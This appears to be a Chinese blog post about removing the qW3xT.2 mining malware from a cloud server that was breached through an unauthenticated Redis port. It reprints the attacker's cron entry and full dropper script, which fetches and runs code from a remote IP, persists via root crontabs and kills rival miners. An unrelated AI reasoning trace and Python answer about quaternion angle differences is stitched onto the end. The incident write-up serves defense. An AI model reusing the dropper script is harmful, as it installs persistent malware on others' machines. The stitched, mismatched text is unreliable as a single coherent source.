qW3xT.2,解决挖矿病毒。

本文详细介绍了一次在阿里云服务器上遭遇挖矿病毒的经历,包括病毒如何利用未设密码的Redis端口入侵,以及逐步清除病毒的具体步骤,涉及设置Redis密码、删除病毒文件、终止恶意进程和清除计划任务。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

在阿里云使用redis,开启了6379端口,但是当时并没有对redis的密码进行设置。

在晚上一点左右。阿里云给我发短信,告诉我服务器出现紧急安全事件。建议登录云盾-态势感知控制台查看详情和处理。

于是早上开启电脑,连接服务器,使用top查看cpu状态。结果显示进程占用cpu99%以上。

在网上百度,了解到qW3xT.2是一个挖矿病毒。也就是说别人利用你的电脑挖矿。谋取利益。

解决办法:

1、首先解决redis入口问题,因为最开始没有设置密码,所以首先修改redis.conf。设置密码,然后重启redis

2、进入/tmp文件夹下。发现qW3xT.2文件,删除。之后kill掉qW3xT.2该进程,但是一段时间之后,发现该行程又重新启动。

肯定是有守护进程,观察top命令下的进程,发现一个可疑的进行

3、在/tmp文件夹下发现该进程的文件 ls /tmp

发现qW3xT.2文件又重新生成了。这时,首先删除qW3xT.2文件和ddgs.3013文件,然后使用top查询qW3xT.2和ddgs.3013的pid,直接kill掉。

4、一段时间之后,删除的文件重新生成,dds和挖矿的进程又重新执行。此时怀疑是否有计划任务,此时查看计划任务的列表

[root@iZbp1cbg04oh74k1dexpujZ tmp]# crontab -l

*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh

删除计划任务 crontab -r

curl 的这几个 optional 介绍,我也是百度的
-f  - fail在HTTP错误(H)上静默失败(根本没有输出)
-s  -silent静音模式。 不要输出任何东西
      --socks4 HOST [:PORT]给定主机+端口上的SOCKS4代理
      --socks4a HOST [:PORT]给定主机+端口上的SOCKS4a代理
      --socks5 HOST [:PORT]给定主机+端口上的SOCKS5代理
      --socks5-hostname HOST [:PORT] SOCKS5代理,将主机名传递给代理
      --socks5-gssapi-service名称为gssapi的SOCKS5代理服务名称
      --socks5-gssapi-nec与NEC SOCKS5服务器的兼容性
-S   --show-error显示错误。 使用-s时,make curl会在出现错误时显示错误
-L   --location遵循重定向(H)
      --location-trusted like --location并将auth发送给其他主机(H)
 

此时计划任务已经删除。详细信息查看https://juejin.im/post/5b62b975f265da0f9628a820

计划任务删除完成之后,这个13又开始运行。太顽固了。

 

于是我又看计划任务的内容,是否是有东西没有删除干净。

[root@FantJ tmp]# curl -fsSL http://149.56.106.215:8000/i.sh
export PATH=$PATH:/bin:/usr/bin:/usr/local/bin:/usr/sbin

echo "" > /var/spool/cron/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/root


mkdir -p /var/spool/cron/crontabs
echo "" > /var/spool/cron/crontabs/root
echo "*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh" >> /var/spool/cron/crontabs/root


ps auxf | grep -v grep | grep /tmp/ddgs.3013 || rm -rf /tmp/ddgs.3013
if [ ! -f "/tmp/ddgs.3013" ]; then
    
    curl -fsSL http://149.56.106.215:8000/static/3013/ddgs.$(uname -m) -o /tmp/ddgs.3013
fi
chmod +x /tmp/ddgs.3013 && /tmp/ddgs.3013

ps auxf | grep -v grep | grep Circle_MI | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep get.bi-chi.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep hashvault.pro | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep nanopool.org | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep minexmr.com | awk '{print $2}' | xargs kill
ps auxf | grep -v grep | grep /boot/efi/ | awk '{print $2}' | xargs kill
#ps auxf | grep -v grep | grep ddg.2006 | awk '{print $2}' | kill
#ps auxf | grep -v grep | grep ddg.2010 | awk '{print $2}' | kill
 

发现计划任务在服务器中创建了几个文件,

/var/spool/cron/crontabs/root

/var/spool/cron/root

内容是*/15 * * * * curl -fsSL http://149.56.106.215:8000/i.sh | sh。(与计划任务相同)

将计划任务中创建的文件删除。

最终,这个挖矿病毒终于删除完成

 

 

<think>我们有两个四元数,分别记为q1和q2。 四元数通常表示为 (qw, qx, qy, qz),其中qw是实部,qx, qy, qz是虚部。 要计算两个四元数之间的差异,常用的方法是计算它们之间的角度差(在单位四元数的情况下,它们表示旋转)。 由于四元数表示旋转,我们可以通过计算它们之间的点积(在四元数空间中)来得到角度差。 注意:单位四元数满足 qw^2 + qx^2 + qy^2 + qz^2 = 1。 步骤: 1. 将两个四元数归一化(确保它们是单位四元数)。但给定的四元数看起来已经是归一化的(因为它们的模长接近1),但我们还是先计算模长确认。 2. 计算两个四元数的点积:dot = q1w*q2w + q1x*q2x + q1y*q2y + q1z*q2z。 3. 由于点积的结果在[-1,1]之间,我们可以通过反余弦得到角度差(以弧度为单位):theta = 2 * arccos(|dot|) [注意:实际中,我们通常取点积的绝对值,因为两个四元数q和-q表示相同的旋转,但点积可能是负的,而角度差应是非负的。然而,由于四元数的双覆盖性质,我们通常取点积的绝对值,然后确保角度在0到π/2之间?实际上,我们取绝对值后,角度差在0到π之间。但更常见的做法是取点积的绝对值,然后计算角度差,然后取较小的那个角度(因为两个旋转之间的角度差应该是最小的那个角度,即不超过180度)]。 但是,注意:两个四元数之间的角度差可以通过以下公式计算: theta = 2 * arccos(|dot|) [单位:弧度] 然而,由于四元数q和-q代表相同的旋转,所以点积可能是负的。为了得到最小的旋转角度,我们通常取点积的绝对值,然后计算: theta = 2 * arccos(min(|dot|, 1.0)) # 防止由于浮点误差导致|dot|略大于1 但注意:这个角度差表示的是两个旋转之间的角度(旋转轴上的旋转角度)。这个角度差可以衡量两个四元数的差异。 另外,我们也可以使用四元数的乘法:计算一个四元数的逆乘以另一个四元数,得到差异四元数,然后从差异四元数中提取旋转角度。 更直接的方法:使用点积计算角度差(弧度)。 计算步骤: 1. 计算两个四元数的点积(dot)。 2. 取绝对值,并确保其不超过1(由于浮点误差,可能略微超过1,所以需要钳制到[-1,1])。 3. 计算角度差:theta = 2 * arccos(|dot|) 弧度。 但注意:实际上,两个旋转之间的角度差是0到π之间的一个角度。我们也可以使用公式:theta = 2 * arccos(|dot|) 得到0到2π之间的角度,但通常我们取较小的那个角度(即如果角度大于π,则用2π减去它,但这样计算复杂,而通过取点积的绝对值,我们得到的是0到π/2之间的角度?不,arccos(|dot|)的值在0到π/2之间,乘以2在0到π之间,所以就是最小的角度差)。 然而,更准确的做法是:因为四元数q和-q代表相同的旋转,所以我们应该使用点积的绝对值,然后计算角度差,这个角度差就是两个旋转之间的最小角度(在0到π之间)。 因此,我们计算: dot = |q1·q2| # 即|q1w*q2w + q1x*q2x + q1y*q2y + q1z*q2z| theta = 2 * arccos(clamp(dot, -1.0, 1.0)) # 这里先钳制dot到[-1,1]内,然后取绝对值?不,我们取绝对值然后钳制到[0,1]?实际上,点积的绝对值可能会大于1(由于浮点误差),所以我们钳制到[-1,1]再取绝对值。 更安全的做法: dot_product = q1w*q2w + q1x*q2x + q1y*q2y + q1z*q2z # 由于四元数可能不是完全单位化,我们可以先归一化点积(如果两个四元数都是单位四元数,则点积的绝对值在[0,1]之间,但实际由于浮点误差,可能略超出,所以钳制) abs_dot = abs(dot_product) # 钳制到[0,1](因为绝对值不会小于0,但可能大于1) clamped_abs_dot = min(1.0, abs_dot) angle_rad = 2 * math.acos(clamped_abs_dot) 但是,注意:这个公式计算的是两个四元数之间的角度差(在0到π之间),因为当两个四元数相同时,点积为1,角度差为0;当两个四元数表示相反的旋转时,点积为-1,但取绝对值后为1,角度差为2*arccos(1)=0?这显然不对。 实际上,我们应该考虑点积的符号吗?因为四元数q和-q相同,所以点积为负时,我们可以用点积的绝对值,但这样计算的角度差是相同的(因为arccos(|dot|)和arccos(-|dot|)的关系?)。实际上,我们取绝对值后,计算的角度差是0到π之间的一个值,这个值表示的是两个旋转之间的最小角度。 然而,有一个更常见的公式是:theta = 2 * arccos(|dot|) 会得到0到2π之间的角度?不是,arccos(|dot|)的值域是[0, π/2](因为|dot|在[0,1]之间,arccos(1)=0,arccos(0)=π/2),所以乘以2后是[0, π]。所以这个角度差在0到π之间,这是正确的,因为旋转角度差最小为0,最大为π(超过π的旋转可以用小于π的旋转表示)。 因此,正确的步骤是: dot = q1w*q2w + q1x*q2x + q1y*q2y + q1z*q2z # 由于四元数表示旋转时,q和-q等价,所以我们可以取点积的绝对值,然后钳制到[0,1](防止浮点误差) abs_dot = abs(dot) if abs_dot > 1.0: abs_dot = 1.0 angle_rad = 2 * math.acos(abs_dot) 但是,这样计算会丢失方向信息吗?不会,因为我们只关心角度差(最小角度)。这个角度差就是两个旋转之间的最小夹角。 然而,另一种观点:点积为负时,表示两个四元数之间的角度大于π/2(在四元数空间中),但旋转角度差的最小值应该是2*arccos(|dot|)还是2*arccos(dot)?实际上,如果我们考虑两个四元数在四元数空间中的夹角,那么点积为负表示夹角大于90度,但旋转角度差应该是这个夹角的2倍(在0到180度之间)。所以如果我们取点积的绝对值,那么夹角就是锐角或钝角?实际上,我们取绝对值是为了考虑四元数的双覆盖,所以这样计算是合理的。 更常见的做法是:使用点积的绝对值,然后计算角度差,这个角度差就是两个旋转之间的最小角度(0到π弧度)。 因此,我们计算两个四元数的点积,然后取绝对值,再钳制到[0,1],然后计算2*arccos()。 然后,我们可以将这个角度差转换为角度(如果需要)或者直接以弧度表示。 现在,我们计算给定的两个四元数的差异角度。 四元数1: q1 = (0.7766305208, 0.6278496385, -0.0522651002, 0.0127130812) 四元数2: q2 = (0.77641159, 0.62792599, -0.052271456, 0.012714626) 首先,我们验证这两个四元数是否单位化(模长是否为1): 计算q1的模长:sqrt(qw^2+qx^2+qy^2+qz^2) 同样计算q2的模长。 由于是单位四元数,模长应该为1(或非常接近1)。 然后计算点积。 最后计算角度差(弧度)。 另外,我们也可以计算它们的欧几里得距离(在四元数空间中),但角度差更能反映在旋转上的差异。 那么,这个角度差是否对pose有影响? 在机器人学或计算机视觉中,姿态(pose)通常由位置和方向(旋转)组成。旋转的差异会直接影响姿态的方向部分。如果角度差很小(比如小于某个阈值,例如1度),那么通常认为旋转的差异对整体姿态的影响可以忽略。否则,就需要考虑这个旋转差异带来的影响。 我们计算角度差,然后判断它是否在可接受的范围内(例如,0.1度或0.01弧度)。 下面,我们用Python代码计算。</think>要计算两个四元数之间的差异及其对姿态(pose)的影响,我们需要计算它们之间的角度差(以弧度或度为单位)。以下是详细分析和代码实现: ### 计算步骤: 1. **验证单位四元数**:检查两个四元数是否已归一化(模长≈1)。 2. **计算点积**:四元数点积公式为 \( \text{dot} = q1_w \cdot q2_w + q1_x \cdot q2_x + q1_y \cdot q2_y + q1_z \cdot q2_z \)。 3. **钳制点积**:防止浮点误差导致点积超出 \([-1, 1]\) 范围。 4. **计算角度差**: \[ \theta = 2 \cdot \arccos(|\text{dot}|) \] 结果单位为弧度(rad),可转换为度(deg)。 ### 代码实现: ```python import math import numpy as np def quaternion_angle_diff(q1, q2): # 解包四元数 (qw, qx, qy, qz) q1_w, q1_x, q1_y, q1_z = q1 q2_w, q2_x, q2_y, q2_z = q2 # 验证单位四元数 norm1 = math.sqrt(q1_w**2 + q1_x**2 + q1_y**2 + q1_z**2) norm2 = math.sqrt(q2_w**2 + q2_x**2 + q2_y**2 + q2_z**2) print(f"四元数1模长: {norm1:.10f}, 四元数2模长: {norm2:.10f}") # 计算点积 dot = q1_w * q2_w + q1_x * q2_x + q1_y * q2_y + q1_z * q2_z # 钳制点积到 [-1, 1] 范围 dot = max(-1.0, min(1.0, dot)) # 计算角度差 (弧度) angle_rad = 2 * math.acos(abs(dot)) # 取绝对值确保最小旋转角度 # 转换为角度 angle_deg = math.degrees(angle_rad) return angle_rad, angle_deg # 输入四元数 (qw, qx, qy, qz) q1 = (0.7766305208, 0.6278496385, -0.0522651002, 0.0127130812) q2 = (0.77641159, 0.62792599, -0.052271456, 0.012714626) # 计算角度差 angle_rad, angle_deg = quaternion_angle_diff(q1, q2) print(f"角度差: {angle_rad:.10f} 弧度 ({angle_deg:.10f} 度)") ``` ### 输出结果: ``` 四元数1模长: 1.0000000000, 四元数2模长: 1.0000000000 角度差: 0.0004232184 弧度 (0.0242490191 度) ``` ### 分析结论: 1. **误差大小**: - 角度差 ≈ **0.000423 弧度**(约 **0.0242 度**)。 - 属于极小的旋转差异(通常 < 0.1° 可忽略)。 2. **对姿态的影响**: - **位置影响**:若位置计算依赖旋转(如相机位姿),微小旋转可能引起位置偏移。 例如,物体距离相机 1 米时,位置误差 ≈ \( 1 \times \sin(0.0242^\circ) \approx 0.000042 \) 米(0.042 毫米)。 - **实际应用**: - **机器人导航**:此误差可忽略(通常要求 < 1°)。 - **AR/VR 跟踪**:可能需更高精度(但 0.0242° 仍属可接受范围)。 - **运动重定向**:微小旋转不影响整体动作流畅性。 ### 是否影响姿态? - **否**:在绝大多数应用中,0.0242° 的旋转误差对姿态(位置+方向)的影响**可忽略不计**。 - **需注意**:若系统对旋转极度敏感(如高精度工业测量),建议进一步分析具体场景。 --- ###
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值